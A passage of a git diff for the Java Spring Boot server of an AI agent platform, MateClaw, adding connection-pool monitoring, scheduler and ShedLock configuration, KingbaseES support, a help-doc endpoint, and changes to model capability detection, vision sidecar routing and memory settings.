populator.setContinueOnError(false); diff --git a/mateclaw-server/src/main/java/vip/mate/config/HikariPoolMonitor.java b/mateclaw-server/src/main/java/vip/mate/config/HikariPoolMonitor.java new file mode 100644 index 00000000..80bddb13 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/config/HikariPoolMonitor.java @@ -0,0 +1,68 @@ +package vip.mate.config; + +import com.zaxxer.hikari.HikariDataSource; +import com.zaxxer.hikari.HikariPoolMXBean; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.sql.DataSource; + +/** + * Periodically logs HikariCP pool metrics so operators can detect + * connection exhaustion / leak patterns before the application stalls. + *

    + * Runs every 30s — frequent enough to catch a pool drain within 1-2 + * ticks, cheap enough to never become a problem itself. + */ +@Slf4j +@Component +public class HikariPoolMonitor { + + private final HikariDataSource hikari; + + public HikariPoolMonitor(DataSource dataSource) { + if (dataSource instanceof HikariDataSource hds) { + this.hikari = hds; + } else if (dataSource instanceof org.springframework.jdbc.datasource.DelegatingDataSource dds + && dds.getTargetDataSource() instanceof HikariDataSource hds) { + // Some auto-configurations wrap Hikari in a delegating DS. + this.hikari = hds; + } else { + this.hikari = null; + log.info("[HikariMonitor] DataSource is not HikariCP — pool monitor disabled"); + } + } + + @Scheduled(fixedDelay = 30_000, initialDelay = 60_000) + public void logPoolStats() { + if (hikari == null) return; + + HikariPoolMXBean pool = hikari.getHikariPoolMXBean(); + if (pool == null) return; + + int active = pool.getActiveConnections(); + int idle = pool.getIdleConnections(); + int total = pool.getTotalConnections(); + int waiting = pool.getThreadsAwaitingConnection(); + + // Normal — log at debug so it doesn't spam the console. + log.debug("[HikariMonitor] pool: active={}, idle={}, total={}, max={}, waiting={}", + active, idle, total, hikari.getMaximumPoolSize(), waiting); + + // Warning threshold: more than 80 % of the pool is active AND + // threads are queued waiting for a connection. + int maxPool = hikari.getMaximumPoolSize(); + if (active > maxPool * 0.8 && waiting > 0) { + log.warn("[HikariMonitor] Pool pressure detected — active={}, idle={}, " + + "total={}, max={}, waiting={}", active, idle, total, maxPool, waiting); + } + + // Critical: pool is fully saturated AND threads are waiting. + if (active >= maxPool && waiting > 0) { + log.error("[HikariMonitor] Pool EXHAUSTED — active={}, max={}, waiting={}. " + + "Application will appear frozen until connections are released.", + active, maxPool, waiting); + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/config/SchedulingConfig.java b/mateclaw-server/src/main/java/vip/mate/config/SchedulingConfig.java new file mode 100644 index 00000000..ab832b1e --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/config/SchedulingConfig.java @@ -0,0 +1,56 @@ +package vip.mate.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.TaskScheduler; +import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler; +import org.springframework.scheduling.annotation.SchedulingConfigurer; +import org.springframework.scheduling.config.ScheduledTaskRegistrar; + +/** + * Scheduled-task thread-pool configuration. + *

    + * Spring Boot's auto-configured {@code TaskScheduler} defaults to + * pool-size = 1, which serializes every {@code @Scheduled} + * method across the entire application. With 15+ scheduled beans + * (health checks, trigger sync, fact rebuild, feature-flag refresh, + * etc.) and several firing on the same cron tick, a single-thread + * pool causes back-pressure that makes the application appear "frozen" + * when any task blocks briefly on database I/O or lock acquisition. + *

    + * This config sets a pool large enough to absorb simultaneous + * minute/half-hour boundaries without head-of-line blocking, while + * keeping thread count low so the scheduler does not contend with + * HikariCP or the async virtual-thread pool. + *

    + * IMPORTANT: {@code @EnableScheduling} is declared once on + * {@link vip.mate.MateClawApplication}. Declaring it here as well + * creates a second {@code ScheduledAnnotationBeanPostProcessor} + * that competes with the first, resulting in some tasks unknowingly + * scheduled on the default single-thread executor. + */ +@Configuration +public class SchedulingConfig implements SchedulingConfigurer { + + /** Pool threads — enough for concurrent ticks but kept moderate. */ + private static final int POOL_SIZE = 4; + + @Bean + public TaskScheduler taskScheduler() { + ThreadPoolTaskScheduler scheduler = new ThreadPoolTaskScheduler(); + scheduler.setPoolSize(POOL_SIZE); + scheduler.setThreadNamePrefix("sched-"); + scheduler.setRemoveOnCancelPolicy(true); + scheduler.setAwaitTerminationSeconds(30); + scheduler.setWaitForTasksToCompleteOnShutdown(true); + return scheduler; + } + + @Override + public void configureTasks(ScheduledTaskRegistrar registrar) { + // Re-use the singleton TaskScheduler bean so we never create two + // separate thread-pool instances (the @Bean above is the single + // source of truth). + registrar.setTaskScheduler(taskScheduler()); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/config/SecurityConfig.java b/mateclaw-server/src/main/java/vip/mate/config/SecurityConfig.java index f81c4995..5217b667 100644 --- a/mateclaw-server/src/main/java/vip/mate/config/SecurityConfig.java +++ b/mateclaw-server/src/main/java/vip/mate/config/SecurityConfig.java @@ -62,7 +62,9 @@ public class SecurityConfig { "/api/v1/channels/webhook/**", "/api/v1/channels/webchat/**", "/api/v1/talk/ws", - // RFC-045: tool-generated files served via unguessable UUID + 10-min TTL + // RFC-045: tool-generated files served via unguessable UUID; entries + // expire after GeneratedFileCache.TTL (7 days) — delayed access (e.g. an + // IM-delivered link opened later) is intentional, the UUID is the guard. "/api/v1/files/generated/**" ).permitAll() // 所有其他 API 接口需要认证 diff --git a/mateclaw-server/src/main/java/vip/mate/cron/config/ShedLockConfig.java b/mateclaw-server/src/main/java/vip/mate/cron/config/ShedLockConfig.java index abb10c24..ee68c63e 100644 --- a/mateclaw-server/src/main/java/vip/mate/cron/config/ShedLockConfig.java +++ b/mateclaw-server/src/main/java/vip/mate/cron/config/ShedLockConfig.java @@ -9,6 +9,7 @@ import org.springframework.context.annotation.Configuration; import org.springframework.jdbc.core.JdbcTemplate; import javax.sql.DataSource; +import java.sql.Connection; /** * RFC-03 Lane G2 — distributed lock provider for the cron scheduler. @@ -37,13 +38,38 @@ public class ShedLockConfig { @Bean public LockProvider lockProvider(DataSource dataSource) { - log.info("[ShedLock] Initializing JDBC LockProvider for cron scheduling"); - return new JdbcTemplateLockProvider( + boolean useDbTime = supportsDbTime(dataSource); + log.info("[ShedLock] Initializing JDBC LockProvider for cron scheduling (usingDbTime={})", useDbTime); + + JdbcTemplateLockProvider.Configuration.Builder builder = JdbcTemplateLockProvider.Configuration.builder() .withJdbcTemplate(new JdbcTemplate(dataSource)) - .withTableName("shedlock") - .usingDbTime() // server-side NOW() — avoids node clock drift - .build() - ); + .withTableName("shedlock"); + + // Server-side DB time (NOW()) avoids node clock drift across a + // multi-instance deployment. ShedLock's built-in db-time dialect map + // covers MySQL/MariaDB, PostgreSQL, H2, etc. KingbaseES is not in that + // map, so usingDbTime() would throw there — fall back to app-server + // time for it, which is safe given lockAtMostFor=PT30M. + if (useDbTime) { + builder.usingDbTime(); + } + return new JdbcTemplateLockProvider(builder.build()); + } + + /** + * Returns true when the DataSource's database is covered by ShedLock's + * built-in db-time dialect map. Only KingbaseES is excluded; on any + * detection failure we conservatively return false so the lock provider + * never throws at acquisition time. + */ + private boolean supportsDbTime(DataSource dataSource) { + try (Connection connection = dataSource.getConnection()) { + String product = connection.getMetaData().getDatabaseProductName().toLowerCase(); + return !product.contains("kingbase"); + } catch (Exception e) { + log.warn("[ShedLock] Could not detect database product; using app-server time: {}", e.getMessage()); + return false; + } } } diff --git a/mateclaw-server/src/main/java/vip/mate/cron/service/CronJobLifecycleService.java b/mateclaw-server/src/main/java/vip/mate/cron/service/CronJobLifecycleService.java index cfc7f123..c12cbe69 100644 --- a/mateclaw-server/src/main/java/vip/mate/cron/service/CronJobLifecycleService.java +++ b/mateclaw-server/src/main/java/vip/mate/cron/service/CronJobLifecycleService.java @@ -196,10 +196,13 @@ public class CronJobLifecycleService { String convId = conversationId != null ? conversationId : run.getConversationId(); String text = result != null && result.getText() != null ? result.getText() : ""; + int totalTokens = chatResult != null + ? chatResult.promptTokens() + chatResult.completionTokens() : 0; runMapper.update(null, new LambdaUpdateWrapper() .eq(CronJobRunEntity::getId, run.getId()) .set(CronJobRunEntity::getStatus, "succeeded") - .set(CronJobRunEntity::getFinishedAt, LocalDateTime.now())); + .set(CronJobRunEntity::getFinishedAt, LocalDateTime.now()) + .set(totalTokens > 0, CronJobRunEntity::getTokenUsage, totalTokens)); if (silent) { // No-op run: persist a short marker so the tasks_ @@ -208,7 +211,17 @@ public class CronJobLifecycleService { // real content to deliver or to learn from. String marker = i18n != null ? i18n.msg("cron.run.silent") : "(本次定时任务无新内容,已跳过)"; - conversationService.saveMessage(convId, "assistant", marker); + // A silent run still made a full LLM call, so carry its token usage + // onto the marker message — otherwise the settings-page total (which + // aggregates MessageEntity token columns) under-counts cron spend. + if (chatResult != null + && (chatResult.promptTokens() > 0 || chatResult.completionTokens() > 0)) { + conversationService.saveMessage(convId, "assistant", marker, null, "completed", + chatResult.promptTokens(), chatResult.completionTokens(), + chatResult.runtimeModel(), chatResult.runtimeProvider()); + } else { + conversationService.saveMessage(convId, "assistant", marker); + } return; } diff --git a/mateclaw-server/src/main/java/vip/mate/datasource/service/DatasourceConnectionManager.java b/mateclaw-server/src/main/java/vip/mate/datasource/service/DatasourceConnectionManager.java index 19b5fc70..a4423391 100644 --- a/mateclaw-server/src/main/java/vip/mate/datasource/service/DatasourceConnectionManager.java +++ b/mateclaw-server/src/main/java/vip/mate/datasource/service/DatasourceConnectionManager.java @@ -118,6 +118,14 @@ public class DatasourceConnectionManager implements DisposableBean { extra = (extra == null || extra.isBlank()) ? schemaParam : extra + "&" + schemaParam; } break; + case "kingbase": + case "kingbasees": + baseUrl = String.format("jdbc:kingbase8://%s:%d/%s", host, port, dbName); + if (entity.getSchemaName() != null && !entity.getSchemaName().isBlank()) { + String schemaParam = "currentSchema=" + entity.getSchemaName(); + extra = (extra == null || extra.isBlank()) ? schemaParam : extra + "&" + schemaParam; + } + break; case "clickhouse": baseUrl = String.format("jdbc:clickhouse://%s:%d/%s", host, port, dbName); break; diff --git a/mateclaw-server/src/main/java/vip/mate/doc/DocController.java b/mateclaw-server/src/main/java/vip/mate/doc/DocController.java new file mode 100644 index 00000000..2acf2d79 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/doc/DocController.java @@ -0,0 +1,73 @@ +package vip.mate.doc; + +import io.swagger.v3.oas.annotations.Operation; +import io.swagger.v3.oas.annotations.tags.Tag; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import vip.mate.common.result.R; +import vip.mate.tool.builtin.MateClawDocService; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * 内置帮助文档的只读接口,供前端文档查看器消费。 + * + *

    文档本体打包在 classpath:docs/{zh,en}/ 下,与给智能体用的 + * {@link MateClawDocService} 共享同一套扫描/校验逻辑。 + */ +@Slf4j +@Tag(name = "Docs") +@RestController +@RequestMapping("/api/v1/docs") +@RequiredArgsConstructor +public class DocController { + + private final MateClawDocService docService; + + @Operation(summary = "列出某语言下的全部帮助文档(slug + 标题)") + @GetMapping + public R> list( + @RequestParam(defaultValue = "zh") String lang) { + return R.ok(docService.list(normalizeLang(lang))); + } + + @Operation(summary = "读取单篇帮助文档正文(已剥离 frontmatter)") + @GetMapping("/content") + public R> content( + @RequestParam(defaultValue = "zh") String lang, + @RequestParam String slug) { + String normLang = normalizeLang(lang); + String body = docService.read(normLang, slug); + if (body == null) { + return R.fail(404, "Document not found"); + } + String title = docService.list(normLang).stream() + .filter(d -> d.slug().equals(slug)) + .map(MateClawDocService.DocMeta::title) + .findFirst() + .orElse(slug); + Map payload = new LinkedHashMap<>(); + payload.put("slug", slug); + payload.put("title", title); + payload.put("content", body); + return R.ok(payload); + } + + private String normalizeLang(String lang) { + if (lang == null) { + return "zh"; + } + String l = lang.toLowerCase(); + // 前端 locale 形如 zh-CN / en-US,取主语言段。 + if (l.startsWith("en")) { + return "en"; + } + return "zh"; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/exception/GlobalExceptionHandler.java b/mateclaw-server/src/main/java/vip/mate/exception/GlobalExceptionHandler.java index 46d2c3b2..dd4c23d4 100644 --- a/mateclaw-server/src/main/java/vip/mate/exception/GlobalExceptionHandler.java +++ b/mateclaw-server/src/main/java/vip/mate/exception/GlobalExceptionHandler.java @@ -9,6 +9,7 @@ import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.validation.BindException; import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.HttpRequestMethodNotSupportedException; import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.context.request.async.AsyncRequestTimeoutException; import org.springframework.web.method.annotation.MethodArgumentTypeMismatchException; @@ -121,6 +122,21 @@ public class GlobalExceptionHandler { return ResponseEntity.status(HttpStatus.NOT_FOUND).body(R.fail(404, "Resource not found")); } + /** + * Spring's default lets this escape to the catch-all below, surfacing as a + * 500 with a stack trace. Return a clean 405 so the client gets a + * structured body and the log stays at WARN. Doubles as a defence when a + * malformed path segment makes a reverse proxy strip the trailing path + * (e.g. a conversationId ending in ":" lands a GET on a @DeleteMapping). + */ + @ExceptionHandler(HttpRequestMethodNotSupportedException.class) + public ResponseEntity> handleMethodNotSupported(HttpRequestMethodNotSupportedException e, + HttpServletRequest request) { + log.warn("Method not supported: {} {} (supported: {})", + request.getMethod(), request.getRequestURI(), e.getSupportedHttpMethods()); + return ResponseEntity.status(HttpStatus.METHOD_NOT_ALLOWED).body(R.fail(405, "Method not allowed")); + } + @ExceptionHandler(Exception.class) public ResponseEntity> handleException(Exception e, HttpServletRequest request, diff --git a/mateclaw-server/src/main/java/vip/mate/goal/config/GoalProperties.java b/mateclaw-server/src/main/java/vip/mate/goal/config/GoalProperties.java index 9c42da46..6909e9ef 100644 --- a/mateclaw-server/src/main/java/vip/mate/goal/config/GoalProperties.java +++ b/mateclaw-server/src/main/java/vip/mate/goal/config/GoalProperties.java @@ -16,6 +16,16 @@ import org.springframework.stereotype.Component; @ConfigurationProperties(prefix = "mateclaw.goal") public class GoalProperties { + /** + * Compile-time ceiling for {@link #maxHardContinuationsPerRun}. The graph + * recursion limit is sized statically to accommodate this many extra + * fresh-budget ReAct segments per run, so the runtime value is clamped to + * it — an operator cannot push hard continuations past what the recursion + * backstop was sized for. Raising this requires re-sizing the recursion + * ceiling in {@code AgentGraphBuilder.frameworkRecursionLimit()}. + */ + public static final int MAX_HARD_CONTINUATIONS_CEILING = 3; + /** * Master switch — when off, the graph never invokes GoalEvaluationNode * (the conditional edge sees no active goal, so the node is unreachable). @@ -39,6 +49,19 @@ public class GoalProperties { */ private boolean allowAutoFollowup = true; + /** + * Auto-derive a goal from a multi-step Plan-Execute plan. The Plan-Execute + * planner decomposes the request into steps and the step executor is a + * narrow "task runner" — neither calls {@code setGoal}, so without this a + * Plan-Execute run never engages the goal subsystem. When enabled, a goal is + * created server-side at plan generation (title = request, acceptance + * criteria seeded from the plan steps), so the already-wired + * GoalEvaluationNode tracks completion. Gated by {@link #enabled}; only + * fires for genuine multi-step plans and when the conversation has no active + * goal yet. Set to {@code false} to keep Plan-Execute goal-free. + */ + private boolean autoGoalFromPlan = true; + /** Default turn budget when the user doesn't override. */ private int defaultTurnBudget = 20; @@ -57,6 +80,20 @@ public class GoalProperties { */ private int maxFollowupsPerRun = 8; + /** + * Max "hard continuations" per single graph run. A hard continuation is a + * goal follow-up that re-enters the ReAct loop with a FRESH iteration + * budget after a turn that hit {@code MAX_ITERATIONS_REACHED} — letting a + * task too large for one budget keep going autonomously instead of stalling + * until the user sends another message. Each one costs up to a full + * {@code maxIterations} worth of node visits, so this is a dedicated cap on + * top of {@link #maxFollowupsPerRun}, clamped to + * {@link #MAX_HARD_CONTINUATIONS_CEILING} and sized into the graph recursion + * ceiling. The goal's cross-turn turn / LLM-call budgets still apply. Set to + * 0 to keep the previous behaviour (max-iterations turns end the run). + */ + private int maxHardContinuationsPerRun = 1; + /** * Provider/model id for the evaluator. Empty string means "use the * same model as the chat agent" — convenient for dev, expensive in diff --git a/mateclaw-server/src/main/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilder.java b/mateclaw-server/src/main/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilder.java index fc436b84..3abe7ca0 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilder.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilder.java @@ -137,11 +137,27 @@ public class AnthropicChatModelBuilder implements ChatModelBuilder { } /** - * True for any Claude 4.7+ model — the family that drops temperature / - * top_p / top_k and exposes the "xhigh" thinking tier between high and max. + * Detect the Claude Fable model line (e.g. {@code claude-fable-5}). + * Fable is a reasoning-first family that follows the same strict API + * contract as Claude 4.7+: temperature / top_p / top_k must be unset + * (any non-default value returns HTTP 400) and the "xhigh" adaptive + * thinking tier is available. Matching on the {@code claude-fable} token + * covers the direct-API id, the OpenRouter-prefixed form + * ({@code anthropic/claude-fable-5}), and future {@code claude-fable-N} + * revisions without a per-version code change. + */ + static boolean isClaudeFable(String modelName) { + if (modelName == null) return false; + return modelName.toLowerCase().contains("claude-fable"); + } + + /** + * True for any modern Claude model that drops temperature / top_p / top_k + * and exposes the "xhigh" thinking tier between high and max — the Claude + * 4.7 / 4.8 generations and the Fable reasoning line. */ static boolean isClaude47OrLater(String modelName) { - return isClaude47(modelName) || isClaude48(modelName); + return isClaude47(modelName) || isClaude48(modelName) || isClaudeFable(modelName); } AnthropicChatOptions buildAnthropicOptions(ModelConfigEntity runtimeModel) { diff --git a/mateclaw-server/src/main/java/vip/mate/llm/failover/ProviderInitProbe.java b/mateclaw-server/src/main/java/vip/mate/llm/failover/ProviderInitProbe.java index 845e934c..51ccb68b 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/failover/ProviderInitProbe.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/failover/ProviderInitProbe.java @@ -79,6 +79,7 @@ public class ProviderInitProbe { this.strategies = map; } + @Async @EventListener(ApplicationReadyEvent.class) public void onApplicationReady() { probeAllConfigured(); diff --git a/mateclaw-server/src/main/java/vip/mate/llm/model/ModelConfigEntity.java b/mateclaw-server/src/main/java/vip/mate/llm/model/ModelConfigEntity.java index 09bbe302..746ee6a5 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/model/ModelConfigEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/model/ModelConfigEntity.java @@ -77,6 +77,16 @@ public class ModelConfigEntity { */ private String modalities; + /** + * Transient, request-scoped flag set by {@link vip.mate.llm.service.ModelConfigService#listByType} + * when a modality filter is supplied: {@code true} when this row's declared or + * heuristically-resolved capabilities cover the requested modality. Lets the + * sidecar selector list every enabled chat model while still highlighting the + * ones already known to support the modality. Never persisted. + */ + @TableField(exist = false) + private Boolean modalityCapable; + @TableField(fill = FieldFill.INSERT) private LocalDateTime createTime; diff --git a/mateclaw-server/src/main/java/vip/mate/llm/routing/AgentBindingResolver.java b/mateclaw-server/src/main/java/vip/mate/llm/routing/AgentBindingResolver.java index 7c778eec..a1b85407 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/routing/AgentBindingResolver.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/routing/AgentBindingResolver.java @@ -4,8 +4,9 @@ import java.util.List; import java.util.Set; /** - * Read access to an agent's skill / provider bindings, as needed by - * {@link ProviderRouter} for capability-aware routing. + * Read access to an agent's skill / provider / wiki-kb bindings, as needed by + * {@link ProviderRouter} for capability-aware routing and by webchat + * endpoints that need to enumerate an agent's visible catalog. * *

    Declared in the {@code llm} layer so the routing code depends only on * this abstraction. The {@code agent} layer supplies the implementation, @@ -23,4 +24,14 @@ public interface AgentBindingResolver { * Provider ids the agent prefers, in priority order; empty when none. */ List getPreferredProviderIds(Long agentId); + + /** + * Wiki knowledge-base ids bound to the agent, or {@code null} when the + * agent has no explicit KB scope (meaning "workspace-wide — every KB + * in the agent's workspace is visible"). Mirrors the three-state + * contract of {@link #getBoundSkillIds}: {@code null} = inherit + * default, {@code Set.of()} = explicitly scoped to nothing, non-empty + * = the explicit allowlist. + */ + Set getBoundKbIds(Long agentId); } diff --git a/mateclaw-server/src/main/java/vip/mate/llm/routing/MediaCaptionService.java b/mateclaw-server/src/main/java/vip/mate/llm/routing/MediaCaptionService.java index 6521009d..d675d163 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/routing/MediaCaptionService.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/routing/MediaCaptionService.java @@ -42,6 +42,18 @@ public class MediaCaptionService { private final RetryTemplate retryTemplate; public CaptionResult caption(ModelConfigEntity visionModel, MessageContentPart imagePart, Locale locale) { + return caption(visionModel, imagePart, locale, null); + } + + /** + * Caption an image, optionally tailored to a user question. When + * {@code userQuestion} is non-blank the vision model is asked to answer it + * directly (in addition to describing the image), so multi-turn follow-ups + * get an answer rather than a generic description. When blank, falls back to + * the factual full-description prompt. + */ + public CaptionResult caption(ModelConfigEntity visionModel, MessageContentPart imagePart, Locale locale, + String userQuestion) { if (visionModel == null || imagePart == null) { return CaptionResult.failure(0, new IllegalArgumentException("vision model or image part is null")); } @@ -59,7 +71,7 @@ public class MediaCaptionService { ChatModel chatModel = chatModelFactory.buildFor(visionModel, retryTemplate); ChatClient client = ChatClient.create(chatModel); UserMessage userMessage = UserMessage.builder() - .text(buildPrompt(locale, imagePart.getFileName())) + .text(buildPrompt(locale, imagePart.getFileName(), userQuestion)) .media(List.of(new Media(MimeType.valueOf(contentType), new FileSystemResource(mediaPath)))) .build(); String description = client.prompt() @@ -87,9 +99,27 @@ public class MediaCaptionService { * (matches the primary user base) but switches to English so vision-model output * matches the chat language and avoids polluting English-only contexts. */ - private String buildPrompt(Locale locale, String fileName) { + private String buildPrompt(Locale locale, String fileName, String userQuestion) { boolean english = locale != null && Locale.ENGLISH.getLanguage().equalsIgnoreCase(locale.getLanguage()); String fileHint = (fileName == null || fileName.isBlank()) ? "" : " (" + fileName + ")"; + boolean hasQuestion = userQuestion != null && !userQuestion.isBlank(); + + if (hasQuestion) { + String question = userQuestion.trim(); + // Question-aware: extract everything relevant to the user's ask, then + // answer it. Answering in the question's own language keeps the caption + // consistent with the chat regardless of the configured locale. + if (english) { + return "Look at this image" + fileHint + " and answer the user's question. " + + "First note any details relevant to the question (objects, scene, visible text/OCR, " + + "numbers, layout), then answer directly. Reply in the same language as the question. " + + "Question: " + question; + } + return "请仔细查看这张图片" + fileHint + ",并回答用户的问题。" + + "先指出与问题相关的细节(物体、场景、画面文字/OCR、数字、排版等),再直接作答。" + + "用与问题相同的语言回复。问题:" + question; + } + if (english) { return "Describe this image" + fileHint + " concisely: list the main objects, scene, any visible text (OCR), " diff --git a/mateclaw-server/src/main/java/vip/mate/llm/routing/MultimodalRouter.java b/mateclaw-server/src/main/java/vip/mate/llm/routing/MultimodalRouter.java index 9a51d46c..be41dda6 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/routing/MultimodalRouter.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/routing/MultimodalRouter.java @@ -125,11 +125,29 @@ public class MultimodalRouter { } /** - * Resolve the configured sidecar model for a modality. Returns null when: + * Resolve the configured default vision model, or {@code null} if none is set + * or the referenced model is missing/disabled. Exposed so tools (e.g. an + * on-demand image-analysis tool) can reuse the exact same model the automatic + * sidecar uses, keeping behaviour consistent across the auto and tool paths. + */ + public ModelConfigEntity resolveVisionSidecar() { + return resolveSidecar(Modality.VISION); + } + + /** + * Resolve the configured sidecar model for a modality. Returns null only when: * - the setting is empty / blank; - * - the referenced row no longer exists or has been disabled; - * - the row's resolved capability set does not actually contain the modality. + * - the referenced row no longer exists or has been disabled. * The caller treats null as "ask the user to configure one." + *

    + * An explicit sidecar selection is treated as the user's own capability + * declaration: a provider-compatible model can be vision-capable in practice + * even when the built-in heuristics don't recognize its name and it carries no + * declared {@code modalities}. Rejecting such a model here made it impossible to + * use a perfectly good compatible-mode vision model as the sidecar. We therefore + * honour the explicit choice and only emit a diagnostic when the heuristics + * can't confirm it — a wrong pick degrades gracefully (the caption call fails and + * the attachment is reported as un-processed) rather than being silently ignored. */ private ModelConfigEntity resolveSidecar(Modality modality) { SystemSettingsDTO settings = systemSettingService.getSettings(); @@ -148,9 +166,9 @@ public class MultimodalRouter { } if (model == null || !Boolean.TRUE.equals(model.getEnabled())) return null; if (!capabilityService.supports(model.getModelName(), model.getModalities(), modality)) { - log.warn("Configured sidecar model {}/{} does not actually support {} — ignoring", - model.getProvider(), model.getModelName(), modality); - return null; + log.info("Configured sidecar model {}/{} is not recognized as {}-capable by the " + + "built-in heuristics; honouring the explicit selection anyway", + model.getProvider(), model.getModelName(), modality.name().toLowerCase()); } return model; } diff --git a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelCapabilityService.java b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelCapabilityService.java index 23f87841..3eaba40e 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelCapabilityService.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelCapabilityService.java @@ -86,6 +86,7 @@ public class ModelCapabilityService { // ===== Anthropic Claude ===== // Vision yes (image), native video no — Anthropic's API only accepts images. + m.put("claude-fable", EnumSet.of(Modality.VISION)); m.put("claude-4.7", EnumSet.of(Modality.VISION)); m.put("claude-4.5", EnumSet.of(Modality.VISION)); m.put("claude-4", EnumSet.of(Modality.VISION)); diff --git a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelConfigService.java b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelConfigService.java index 983cd49e..24be318b 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelConfigService.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelConfigService.java @@ -11,6 +11,7 @@ import vip.mate.llm.event.ModelConfigChangedEvent; import vip.mate.llm.model.ModelConfigEntity; import vip.mate.llm.repository.ModelConfigMapper; +import java.util.Comparator; import java.util.List; import org.springframework.context.ApplicationEventPublisher; @@ -73,9 +74,18 @@ public class ModelConfigService { /** * Optional modality filter (case-insensitive: {@code "vision" / "video" / "audio"}). - * When non-null, only enabled rows whose resolved capability set contains the - * requested modality survive — used by the multimodal sidecar settings UI to - * populate "default vision model" / "default video model" dropdowns. + * Used by the multimodal sidecar settings UI to populate "default vision model" / + * "default video model" dropdowns. + *

    + * The filter does not hide models the built-in heuristics fail to recognize: + * a provider-compatible model (e.g. a DashScope OpenAI-compatible vision model with + * a custom name) is vision-capable in practice even though its name matches no + * built-in prefix and it carries no declared {@code modalities}. Hard-filtering + * those out left them un-selectable as a sidecar. Instead every enabled + * chat model is returned; each row's transient {@link ModelConfigEntity#getModalityCapable()} + * flag records whether its declared / heuristic capabilities already cover the + * requested modality, and known-capable rows are sorted to the top so the UI can + * highlight them while still letting the user pick any model. */ public List listByType(String modelType, String modality) { List rows; @@ -100,7 +110,12 @@ public class ModelConfigService { } return rows.stream() .filter(m -> Boolean.TRUE.equals(m.getEnabled())) - .filter(m -> modelCapabilityService.supports(m.getModelName(), m.getModalities(), required)) + .peek(m -> m.setModalityCapable( + modelCapabilityService.supports(m.getModelName(), m.getModalities(), required))) + // Known-capable models first; preserve the existing default-then-name + // order within each group. + .sorted(Comparator.comparing( + (ModelConfigEntity m) -> Boolean.TRUE.equals(m.getModalityCapable())).reversed()) .toList(); } diff --git a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelDiscoveryService.java b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelDiscoveryService.java index 6866a4eb..df18b4ec 100644 --- a/mateclaw-server/src/main/java/vip/mate/llm/service/ModelDiscoveryService.java +++ b/mateclaw-server/src/main/java/vip/mate/llm/service/ModelDiscoveryService.java @@ -66,6 +66,13 @@ public class ModelDiscoveryService { private static final Duration TIMEOUT = Duration.ofSeconds(10); + // Shared HttpClient for OpenAI-compatible providers — avoids creating a new + // native thread + connection pool per request (was causing thread-leak OOM). + private static final HttpClient SHARED_HTTP_CLIENT = HttpClient.newBuilder() + .version(HttpClient.Version.HTTP_1_1) + .connectTimeout(Duration.ofSeconds(30)) + .build(); + // Virtual-thread executor for parallel model probing (lightweight, short-lived) private static final ExecutorService PROBE_EXECUTOR = Executors.newVirtualThreadPerTaskExecutor(); @@ -962,10 +969,7 @@ public class ModelDiscoveryService { * the upgrade negotiation. */ private RestClient.Builder openAiCompatibleClientBuilder() { - HttpClient httpClient = HttpClient.newBuilder() - .version(HttpClient.Version.HTTP_1_1) - .build(); - return RestClient.builder().requestFactory(new JdkClientHttpRequestFactory(httpClient)); + return RestClient.builder().requestFactory(new JdkClientHttpRequestFactory(SHARED_HTTP_CLIENT)); } @SuppressWarnings("unchecked") diff --git a/mateclaw-server/src/main/java/vip/mate/memory/MemoryProperties.java b/mateclaw-server/src/main/java/vip/mate/memory/MemoryProperties.java index dec2aeef..b77f3fb3 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/MemoryProperties.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/MemoryProperties.java @@ -81,6 +81,66 @@ public class MemoryProperties { /** 禁用的 MemoryProvider ID 集合(例如 "structured", "session_search") */ private Set disabledProviders = new HashSet<>(); + // ==================== Always-on injection budget ==================== + + /** + * Character budget for the always-on structured memory block injected into + * every system prompt (user + feedback entries). When exceeded, the + * most-recently-updated entries are kept and older ones are omitted, so + * accumulated memory cannot grow the per-turn context without bound. + * 0 = unlimited (legacy behavior). + */ + private int systemBlockMaxChars = 4000; + + /** + * Hard cap on the number of entries injected per structured type in the + * always-on block. Keeps the newest entries per 